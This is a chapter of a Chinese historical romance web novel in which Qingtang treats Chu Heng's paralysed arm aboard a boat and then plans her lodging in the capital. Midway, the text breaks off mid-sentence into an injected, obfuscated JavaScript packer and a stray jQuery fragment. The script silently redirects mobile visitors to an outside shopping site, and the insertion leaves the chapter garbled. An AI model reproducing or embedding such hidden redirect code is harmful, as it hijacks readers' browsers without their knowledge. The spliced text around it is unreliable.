这次争吵没有在青棠心里起隔阂,反而觉得与楚珩更亲近了。
凡世人相交总要顾及人情体面,带上几分客气,只有至亲之间才可直言不讳,不言虚辞、不饰客套。
她想是因为楚珩将自己当作亲人,所以才能坦坦荡荡,毫不掩饰地爱护她与担忧她。
此时此刻,他们像是真正的亲人了。
青棠心里欢喜,像个小尾巴一样跟在楚珩后面,官舱里嬉笑声未停,隔着纱帐,曼妙人影绰约可见,她实在疑惑,官舱听曲之人到底是谁,便又问了一次。
楚珩望向官舱,笑着摇摇头,心想这老家伙只是表面正经罢了,以后可不能让他与青棠独处。
他越卖关子青棠越等不及要知道答案,“到底是谁,快说呀!”
楚珩顿步,让她走在前面,教诲似地说道:“非礼勿视,非礼勿听。”
飞庐内,金蝶和银蝶打扫完屋子,坐在门口翻花绳,见青棠与楚珩一同到来,忙行礼问安。
金蝶给了银蝶一个眼色,拉着她要退下,二人年岁都不大,银蝶比金蝶小两岁,不太知事,一切都听金蝶的主意,金蝶说什么便是什么。
青棠察觉到婢女们的小动作,女子那些小心思她再清楚不过,定然是她们多想了。
她假装没看出来,要让她们知道自己与楚珩就是兄妹关系,开口道:“金蝶,把窗子打开,屋里闷得很。银蝶,你去倒盆热水来。”
二人称“是”,各自去忙。
楚珩环视屋内,见桌上的笔墨字帖摆放整齐,竟是一笔未写,不甚满意道:“功课拿到这里来做,可是要偷懒。”
“我哪有功夫?”青棠收起字帖将桌子腾出来,预备一会儿摆放膳食。
楚珩以为她故意逃避,敲敲桌子,“怎么,刚说完要听阿兄的话,这会儿功夫就反悔了?”
“不是,你别冤枉人。”青棠暗中翻个白眼,解释道,“昨晚跟秦郎中学了按跷的手法,一会儿用完早膳给你试试。”
随后吩咐金蝶:“去厨房看看,膳食可好了,好了就端过来,我们在这里用膳。”
说完咬了一下嘴唇,“膳”这个字眼是高门府第中人用的,她们民间只称做“饭”或“食”,如今自己竟也随口说出“用膳”这两个字。
诸如此类的细节还有很多,言语、习惯都在潜移默化中慢慢改变,实际上,现在的她已与过去大不相同。
金蝶出去,银蝶端着水盆进来,青棠绞了帕子擦净脸颊,对镜傅粉,一切都没有避讳楚珩。
收起妆奁,金蝶带着两个厨子进来,厨子各人拎一个食盒,打开盖子取出膳食,盘子、碟子摆满整张桌子。
莲子羹,山药糕,金银卷,糟鸭片等,以及各种佐食小菜。
青棠颇为惊讶,有些她吃过,有些她见都没见过,问道:“这么些好吃的,可是要过年了?”
吃顿好的就过年了,真是天真又可爱,楚珩平静的眼神起了波澜,嘴角勾起一抹弧度,心中是说不尽的愉悦,故意轻咳一声,装作若无其事道:“之前动身匆忙,船上东西来不及备齐,在长兴县停靠这么久便是为了采买食材物资,吃吧,别不舍得,以后日日都有。”
“嗯。”青棠重重点头,前些日子的饭食的确差了些,这下子全都补回来了,也不客气,拿起筷子捡爱吃的夹到碗中。
楚珩含笑看着她吃,怕她噎住,盛了碗汤递上。
“谢谢阿兄。”青棠嘴角上翘,两颗酒窝里像是盛满了蜜糖,说话声音都是甜甜的。
浅浅笑靥如春花绽放,软糯乖巧的言语如鸟羽,轻轻在楚珩心上点开一圈涟漪,他感觉自己的耳根在发热,担心露出破绽,强按住这份情愫,低头将热好的半砂锅蛋饺连菜带汤全部吃完。
青棠见他只吃蛋饺,心情大好,暗自得意起来,自己做的就是比别人做得好吃。
这顿膳食用得踏踏实实,她不喜与别人一道用膳,总觉着拘束放不开,只有与楚珩一起才无所顾忌。
膳后漱口盥手毕,青棠拿出昨晚的按跷记录,要在楚珩身上实践。
金蝶、银蝶又要回避,她觉得十分不妥,侍卫和婢女知道其中缘由,但船工等人不知,和他逗留室内良久,难免落人口舌,生出些说不明道不白的闲话。
言语上的是非她受得够够的了,于是提议道:“屋内狭窄,咱们去外面。”
说罢也不等楚珩同意,命金蝶、银蝶将小几和小椅搬到飞庐外的月台上。
楚珩想不到这一层,却也都依她,边走边道:“又不是舞刀弄枪,何至于搬到外面去。”
“今日日头足,多晒晒总归有好处。”青棠搪塞过去。
月台上果然一派秀丽风景,日头已升得老高,照在身上暖洋洋的,楚珩又命人生起炭炉,煮茶水、烤果子。
他坐于椅中,将胳膊搭上小几,准备等青棠来按跷。
青棠却不急,仔细研究昨晚的笔记,脑中默记穴位,指尖微动回忆手法,做好充足准备后,深吸一口气后来到楚珩身后,从肩膀至手肘,再至手腕指尖,一寸一寸按压揉捏。
胳膊没有知觉,楚珩给不了反应,她拿捏不准轻重,越捏心里越没底,眉头不禁蹙得紧紧的,自言自语道:“怎么没效果呢?”
“怎么没有,有些发酸,还有些发胀。”楚珩端起茶壶倒了两盏茶,“休息会儿,喝口茶。”
“你就把我当傻子骗吧。”青棠想起他勾结周林和秦郎中诓说手臂恢复知觉的事,气鼓鼓地道:“就瞒着我一人,明明没有恢复,偏要说好转了。”
被识破了谎言,楚珩也不慌,“我没有骗你,昨晚你也见到了,不是都能动了吗。”
昨晚是一时情急做出的反应,并不代表关节能自由活动,青棠知道与他理论也无用,加重手上力道,额头渐渐渗出一层薄汗。
银蝶见姑娘只是揉捏,忽然想起还有砭板和药膏,进屋里拿出来,“姑娘忘记这些了。”
青棠犹豫一瞬才开口:“暂时用不到,先放一边吧。”
她不是忘记了,是没打算用,砭板刮疗肌肤需脱去上衣,她打算将这一步交给周林去做,虽说楚珩的身子她见过,但今夕不同往时,即便是亲兄妹,相处起来也要有个度,该避的嫌还是要避。
楚珩拿过砭板,手指捻着圆润的边角,问道:“这是做什么用的?”
“是砭板,刮疗用的。”银蝶未解青棠的意,直言道:“姑娘昨晚还说,要先揉捏再刮疗才有效果。”
金蝶暗叹一口气,心道“这个傻丫头”,借着给往茶壶里添水的由头上前,不着痕迹地拉拉银蝶的衣角,银蝶不理解,但也听金蝶的,乖乖垂首退下。
“是这个道理。”青棠拿过楚珩手中砭板,“只是我的手法不熟练,还是等练好了再刮疗吧。”
“不上手试试怎么能熟练手法。”楚珩说完褪下半截上衣,将整个右臂膀全部袒露出来,“大胆试。”
青棠再推辞不过,又担心刚将他的肌肉揉得发热,突然露在外会受风,赶紧叫人抬扇屏风摆到上风口。
她挽起袖子,用砭石蘸取药膏,依图所示,顺着经脉自上而下轻刮。
“重一些没关系,反正已经这样了,再坏还能坏到哪里。”
楚珩故作轻松,打消她的顾虑,在砭板反复刮疗下,肩膀上的肌理逐渐变得分明、紧实,皮肤热辣辣地,一股沉重的力量在筋脉间游走,似乎要打通被阻塞的脉络。
青棠心口微微发涩,加重手上力道,也不知能不能有用,真担心又是一场空欢喜。
砭板上的药膏用完,她转身重新蘸取。
此刻船已起锚,因风弱吹不动船帆,几个船工并排站在船舷上,用竹蒿抵在水中,一起发力将船推离埠头。
船身骤然而动,火炉歪向一边,连带滚开的茶壶和烤得发烫的果子向青棠撞去。
青棠只因船动而身体微微前倾,对于身后的危险并不曾察觉,银蝶倒是惊呼起来,奈何离得太远来不及提醒。
关键时刻,还是楚珩一把将她揽过,火炉倒在了她原来站立的地方。
青棠一心都在刮疗上,看到满地狼藉和慌乱的金蝶、银蝶,后知后觉地意识到危险。
待站稳脚跟看向楚珩时,楚珩正抬起右臂,右手握拳松开,再握拳再松开。
“这……”她难以置信,“好了?”
楚珩也不敢相信,试着左右动几下,虽然活动不自如,倒也强过不能动弹。
“真的好了?这就好了?”青棠摸上他的胳膊,狠劲掐了一把。
被掐的地方立刻暄红,楚珩吃痛下意识回缩,“怎么,嫌我好得太快了?”
“没有,没有,”青棠激动地溢出泪来,“我怕自己是在做梦,所以掐一把。”
“要掐也掐你自己,掐我做什么,再掐坏了怎么办?”话虽这样说,楚珩还是抬手擦去她脸上的泪花。
“掐坏了,我伺候你一辈子……”青棠眼泪止不住,一切都没有白费,不管是熬药按跷还是求神拜佛,她相信,总有一样会起作用,“我就知道我许我愿望会实现,佛祖一定会保佑你。”
楚珩得知她许的愿望是关于自己的,心中无比动容,手一点点攥起来,克制着想要抱她的冲动。
“阿兄……”
青棠先抑制不住情绪,伏在他左胸膛上抽泣起来,“让我哭一会儿,我真的……太高兴了。”
“那里是什么佛祖保佑,分明是你在保佑我。”楚珩轻抚着她的后背,“哭吧,只是别抹我一身鼻涕眼泪。”
青棠听完“噗出”一笑,当即没了再哭的心情,意识到人前失态,背过身去用帕子擦干净,要请秦郎中过来瞧瞧。
楚珩竖耳细听,官舱内的乐声已停,便颔首应允。
良久秦郎中方至,面色虚浮,眼下青黑浓重,外衣穿得规整,但从胸前的衣襟可以看到里衣皱巴巴地。
楚珩见秦郎中副模样,哑然失笑,故意调侃道;“秦郎中连日辛苦,可是累病了?”
“没,没……”秦郎中擦擦汗,因有女眷在,也不好回话,只道:“我先给世子把把脉。”
一番仔细问切,他向楚珩揖礼,“恭喜世子,贺喜世子,世子手臂筋脉已全然打通,只需勤加锻炼,恢复如初指日可待。”
他的话青棠不敢全信,又确认了两次,直到秦郎中对天发誓,才勉强信他,高兴得几乎要拍手叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714945|205341||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好,被楚珩一个眼神压了下去。
楚珩道:“知道了,此事不要外传,仍旧按原来的方子开药。”
“是,老夫这就去。”秦郎中再行一礼,倒退着离开。
楚珩整理好衣衫,右手依旧垂下去,命人将屏风撤掉。
青棠不解,小声问:“问什么要这样说。”
“伤得越重功劳越大,要是就这样轻易好了,以后怎么邀功。”
青棠想想有道理,又问:“秦郎中可是庆王的人,就不怕他说出去?”
“放心,他有把柄在我手里。”
楚珩言语间满是笃定,他只命秦郎中在官舱内替自己听曲儿,再打发掉乐伎,现在开来,只怕是他听曲儿听到床上,打发人也打发到了床上。
“什么把柄?”青棠不大高兴,刚才问他“官舱之人是谁”还没有回答,现在又故弄玄虚,“每次都话说一半,到底什么把柄?快说。”
楚珩当然不会告诉她真相,他不希望纯洁的青棠花沾染上不干净的东西,以后他也会慢慢脱离这些污糟,去寻一份轻松自在的生活。
之后几日,在秦郎中和青棠的轮番治疗下,楚珩的手臂完全恢复。
他们也不着急进京,一路上见埠头就停,青棠玩得不亦乐乎,似是把这辈子没见过、没吃过、没玩过的都经历了一遍。
这日,二人又玩到日暮十分,楚珩坐在茶摊上,看青棠把玩泥哨,泥哨上绘着彩色小鱼,哨口在鱼尾,轻轻一吹,“咕咕”声便从鱼口中发出。
他问:“没玩过?”
青棠摇摇头,“以前见别人玩,我也羡慕过,那时我刚到罗家,跟家里人还不熟悉,说话都小心翼翼地,更不敢要什么东西,娘曾找了一个旧的给我玩,到底不是我喜欢的。”
“旧的?是谁玩剩的?”楚珩听着心酸,并不是什么值钱的玩意,她却不曾有过独属于自己的那一份。
“是……”青棠想说怀生,但想到怀生的种种恶劣行径,半点也不想提他,随口敷衍过去。
楚珩理解这种心情,年少时不可得之物,终其一生都难放下,他安慰她:“京中有更好的,到时候咱一样买一个,要多少买多少。”
说到京城,青棠不免紧张起来,这里距京城只剩五日路程了。
楚珩遇刺之前,她一直想着回去,一部分原因是因为舍不得家,另一部分原因则是与楚珩较劲,她不愿别人安排自己的事。
如今与楚珩的情谊日渐深厚,她也接纳、甚至习惯了有这个阿兄在身边,自然不愿再回到孤零零的日子中去。
再者,平心而论,路上见识了几处繁华,难免看着热闹欢喜,想必京城更甚,心里渐渐生出了对京城的向往。
向往是向往,回归到实际问题,之前种种担忧只是想想而已,现在却要真正面对,衣食住行,虽然衣食排在前面,但最重要的还是住。
这件事她本不想与楚珩说,他是富家贵公子,过惯阔气日子的,若同他说了,他必会帮自己赁个大宅,再配上三五个婢女,身上这一百多两银子,怕是连一个月的开销都不够。
赁屋子要先找牙婆,自己不知道行情,又是外乡人,明摆着是送上门去,等着挨宰。
或者一时半会儿租不到屋子,又要住哪里,总不好住楚珩家里吧。
这个念头刚冒出来,就被她叹了口气掐灭了。
当初结义亲的目的,不过是个台阶,之后彼此照拂、相互信赖,自始至终,也仅是一段情分而已,更不能攀宗族、涉家世,叨扰彼此门庭。
“想什么呢?”楚珩见她盯着泥哨不说话,不等她说,又说:“让我算算。”
装模作样地学算命先生捏起手指来,“你是在为进京后的事发愁。”
青棠默然,心想猜得可真准。
“让我再来算算,你愁什么?”楚珩继续捏手指,“嗯……愁将来要找个什么样的夫婿。”
“阿兄!再胡说就不理你了。”青棠气得直跺脚,赌气偏过身子坐。
“好了,好了,不开玩笑。”楚珩将干果往她跟前推推,“你倒是说说,在愁什么?”
话已至此,青棠只好实话实说。
楚珩正了正神色,“我原打算让你住到家里,谁想你竟不愿,也罢,就照你说的,去赁套宅院,自己住着也舒心。”
“不拘什么地方,只要有个安身处就行。”青棠没明说,还真有些担心自己付不起租金。
“你要这样说,我还真得让你回家住,京城繁华,人也杂,不选个安全的地方我怎能放心,不用担心银钱的事,你阿兄我好歹有个官职,还能委屈你不成。”
楚珩的话已说到了这份上,青棠不再推辞,举起茶杯,“恭敬不如从命,我以茶代酒,敬阿兄。”
“好,痛快!”楚珩亦举杯相碰,一饮而尽。
此回他没有像以前一样以,强硬安排青棠的起居,相处日久,青棠的脾性他已摸清八成,这姑娘骨子里带着一股极强的执拗心气,不愿的是十头牛也拉不回来,越是强加于她的,她越要反抗一番,必要自己想明白才心甘情愿。
虽然她不回府居住,但楚珩已盘算好,绝不会让她离开自己的掌控范围。